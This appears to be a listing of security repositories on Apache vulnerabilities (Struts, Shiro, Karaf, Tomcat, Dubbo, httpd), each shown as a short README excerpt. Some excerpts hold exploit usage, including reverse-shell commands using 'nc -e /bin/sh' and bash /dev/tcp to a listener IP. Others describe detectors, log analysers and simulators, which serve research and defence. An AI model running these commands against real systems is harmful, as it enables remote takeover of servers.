St2-057

St2-057 Online Target Machine Environment, Enjoy! 0x01 Set Up the Docker Environment https://github.com/vulhub/vulhub/tree/master/struts2/s2-048 docker-compose up -d 0x02 Set Up the st2-057 Vulnerability Environment docker exec -i -t 88fd8d560155 /bin/bash Start the service in the background and...

St2-052

S2-052 POC Testing Original title: Tomcat Deploying war Original article: http://blog.csdn.net/caiqiiqi/article/details/77861477 Download the last affected version struts-2.5.12 from the Struts2 official website: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip Note that you on...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

CVE-2018-11788

Summary Apache Karaf is a modern and polymorphic applications container. It's a lightweight, powered, and enterprise ready container powered by OSGi. Apache Karaf is a "product project", providing a complete and turnkey runtime. The runtime is "multi-facets", meaning that you can deploy different...

st2-048

St2-048 Remote Code Execution Vulnerability Apache Struts 2 possible RCE in the Struts Showcase app in the Struts 1 plugin example in the Struts 2.3.x series http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Use-Age: python St2-048.py set url :...

dubbo-CVE-2023-23638

CVE-2023-23638 For educational purposes only ZooKeeper required Tested on Java 8. Other versions have not been tested and are not guaranteed to work. To reproduce, add the VM parameter to DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. For details, see...

audit_couchdb

ऑडिट काउचडीबी: सरल, स्पष्ट, काउचडीबी सुरक्षा मूल्यांकन ऑडिट काउचडीबी एक सरल टूल है जिसका एक शक्तिशाली संदेश है। एक Apache CouchDB URL दिए जाने पर, यह आपको इसकी सुरक्षा के बारे में वह सब कुछ बताएगा जो आप जानना चाहते हैं। उद्देश्य ऑडिट काउचडीबी निम्नलिखित क्रियाएँ करेगा: 1. काउच के बारे में हर संभव...

MAL-010

MAL-010: Dangerous MBeans Accessible via JMX in Apache James By listing and inspecting the MBeans exposed by the JMX on localhost, port 9999, the following attack vectors have been identified: Arbitrary File Write using Log4J Arbitrary File Read using Log4J Note: Unlike the “MLet attack” presente...

reversemap

reversemap Analyse SQL injection attempts in web server logs The program can either be run in batch mode or interactive mode. In batch mode the program will accept Apache web server logs and will deobfuscate requested URLs from the logs. In interactive mode the program will prompt for user input...

reversemap

reversemap वेब सर्वर लॉग में SQL इंजेक्शन प्रयासों का विश्लेषण करें प्रोग्राम को बैच मोड या इंटरैक्टिव मोड में चलाया जा सकता है। बैच मोड में प्रोग्राम Apache वेब सर्वर लॉग स्वीकार करेगा और लॉग से अनुरोधित URLs को डीऑब्फस्केट करेगा। इंटरैक्टिव मोड में प्रोग्राम उपयोगकर्ता इनपुट माँगेगा और...

CVE-2023-25690

CVE-2023-25690 Description of CVE-2023-25690: Some modproxy configurations on Apache HTTP Server from version 2.4.0 to 2.4.55 allow HTTP Request Smuggling attacks a technique that interferes with the way a website processes HTTP request sequences received from one or more users. These...

artemis2hashcat

artemis2hashcat Description Python3 implementation for converting Artemis PBKDF2WithHmacSHA1 hashes to hashcat format Usage The default configuration for Apache Artemis is to use the DefaultSensitiveStringCodec in order to store user passwords as PBKDF2WithHmacSHA1 hashes in the...

MAL-003

MAL-003: Groovy Security Bypass and Stored XSS in Apache OfBiz A Groovy RCE and XSS have been identified in Apache OfBiz = 18.12.05. Why no CVE? Apache OfBiz does not create CVEs for "post-auth attacks done using demo credentials, notably using the admin user" as mentioned on their security page...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

offsec-karaf-exploits

offsec-karaf-exploits Usage: python exploit.py --help Example: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Rebuild Payload Setup Felix Framework 1. Create the lib directory mkdir -p ./revshell/lib 2. Download Felix Framework 7.0.5 3...

optionsbleed

optionsbleed This is a proof of concept code to test for the Optionsbleed bug in Apache httpd CVE-2017-9798. Please consider using the tool Snallygaster instead, it has a check for optionsbleed included: snallygaster -t optionsbleed host usage optionsbleed -h -n N -a -u hosttocheck Check for the...

CVE-2026-23918

CVE-2026-23918 Apache modhttp2 Double-Free Detector https://github.com/user-attachments/assets/d6c30e58-548c-4b6d-9ba3-baa667238a58 python3 h2ghost.py -h usage: h2ghost.py -h --host HOST --port PORT --tls --no-tls --iterations ITERATIONS --burst-n BURSTN --timeout TIMEOUT --crash-threshold...

CVE-2025-24813

CVE-2025-24813 Exploit Toolkit This is an advanced and automated exploitation tool for CVE-2025-24813 , targeting Apache Tomcat servers vulnerable to insecure session deserialization. 🔍 Features Multi-target scanning from file or single URL --targets / --url Automatic gadget chain testing...

struts-splunk

struts-splunk Vuln Apache Struts with splunk...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065: Apache Parquet Remote Code Execution RCE Exploit Simulator Demo Screenshot Simulator interface demonstrating the exploit chain 📌 Overview This repository contains an educational simulation of CVE-2025-30065, a critical Remote Code Execution vulnerability in Apache Parquet...